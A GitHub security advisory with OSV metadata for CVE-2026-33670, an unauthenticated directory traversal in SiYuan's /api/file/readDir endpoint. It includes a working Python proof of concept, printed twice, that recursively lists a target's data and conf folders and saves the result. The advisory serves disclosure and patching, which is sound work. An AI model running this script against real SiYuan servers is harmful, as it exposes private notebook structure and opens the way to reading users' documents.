GHSA-XMW9-6R43-X9WW

Vulnerability from github – Published: 2026-03-25 19:38 – Updated: 2026-03-27 21:24
VLAI
Summary
SiYuan has directory traversal within its publishing service
Details

Details

The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.

PoC

#!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys

def poc(target):
    base = target.rstrip("/")
    url = f"{base}/api/file/readDir"

    def read_dir(path, depth=0, max_depth=4):
        try:
            r = requests.post(url, json={"path":path},
                            headers={"Content-Type":"application/json"}, timeout=10)
            data = r.json()
        except Exception as e:
            return
        if data.get("code") != 0:
            return

        entries = data.get("data") or []
        for entry in entries:
            name = entry.get("name","")
            if name.startswith("."):
                continue
            icon = "📁" if entry.get("isDir") else "📄"
            indent = "  " * depth
            print(f"  {indent}{icon} {name}")

            if entry.get("isDir") and depth < max_depth:
                read_dir(f"{path}/{name}", depth+1, max_depth)

    # 遍历根目录
    print("[+] 漏洞存在！开始遍历\n")
    print("  📂 data/")
    read_dir("data", max_depth=2)

    print("\n  📂 conf/")
    read_dir("conf", max_depth=2)

    # 保存
    try:
        r = requests.post(url, json={"path":"data"},
                        headers={"Content-Type":"application/json"}, timeout=10)
        with open("readdir.json","w",encoding="utf-8") as f:
            json.dump(r.json(), f, ensure_ascii=False, indent=2)
        print(f"\n[+] 根目录数据已保存: readdir.json")
    except: pass

if __name__ == "__main__":
    poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")

Impact

Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.

资源文件夹

image

插件文件夹

image

conf文件夹

image

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260317012524-fe4523fff2c8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33670"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T19:38:01Z",
    "nvd_published_at": "2026-03-26T22:16:30Z",
    "severity": "CRITICAL"
  },
  "details": "### Details\n\nThe /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"POC: SiYuan /api/file/readDir \u672a\u9274\u6743\u76ee\u5f55\u904d\u5386\"\"\"\nimport requests, json, sys\n\ndef poc(target):\n    base = target.rstrip(\"/\")\n    url = f\"{base}/api/file/readDir\"\n\n    def read_dir(path, depth=0, max_depth=4):\n        try:\n            r = requests.post(url, json={\"path\":path},\n                            headers={\"Content-Type\":\"application/json\"}, timeout=10)\n            data = r.json()\n        except Exception as e:\n            return\n        if data.get(\"code\") != 0:\n            return\n\n        entries = data.get(\"data\") or []\n        for entry in entries:\n            name = entry.get(\"name\",\"\")\n            if name.startswith(\".\"):\n                continue\n            icon = \"\ud83d\udcc1\" if entry.get(\"isDir\") else \"\ud83d\udcc4\"\n            indent = \"  \" * depth\n            print(f\"  {indent}{icon} {name}\")\n\n            if entry.get(\"isDir\") and depth \u003c max_depth:\n                read_dir(f\"{path}/{name}\", depth+1, max_depth)\n\n    # \u904d\u5386\u6839\u76ee\u5f55\n    print(\"[+] \u6f0f\u6d1e\u5b58\u5728\uff01\u5f00\u59cb\u904d\u5386\\n\")\n    print(\"  \ud83d\udcc2 data/\")\n    read_dir(\"data\", max_depth=2)\n\n    print(\"\\n  \ud83d\udcc2 conf/\")\n    read_dir(\"conf\", max_depth=2)\n\n    # \u4fdd\u5b58\n    try:\n        r = requests.post(url, json={\"path\":\"data\"},\n                        headers={\"Content-Type\":\"application/json\"}, timeout=10)\n        with open(\"readdir.json\",\"w\",encoding=\"utf-8\") as f:\n            json.dump(r.json(), f, ensure_ascii=False, indent=2)\n        print(f\"\\n[+] \u6839\u76ee\u5f55\u6570\u636e\u5df2\u4fdd\u5b58: readdir.json\")\n    except: pass\n\nif __name__ == \"__main__\":\n    poc(sys.argv[1] if len(sys.argv)\u003e1 else \"http://172.18.40.184\")\n```\n\n### Impact\n\nDirectory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.\n\n\u8d44\u6e90\u6587\u4ef6\u5939\n\n\u003cimg width=\"943\" height=\"794\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038\" /\u003e\n\n\u63d2\u4ef6\u6587\u4ef6\u5939\n\n\u003cimg width=\"826\" height=\"921\" alt=\"image\" src=\"https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705\" /\u003e\n\nconf\u6587\u4ef6\u5939\n\n\u003cimg width=\"730\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741\" /\u003e",
  "id": "GHSA-xmw9-6r43-x9ww",
  "modified": "2026-03-27T21:24:23Z",
  "published": "2026-03-25T19:38:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xmw9-6r43-x9ww"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33670"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan has directory traversal within its publishing service"
}



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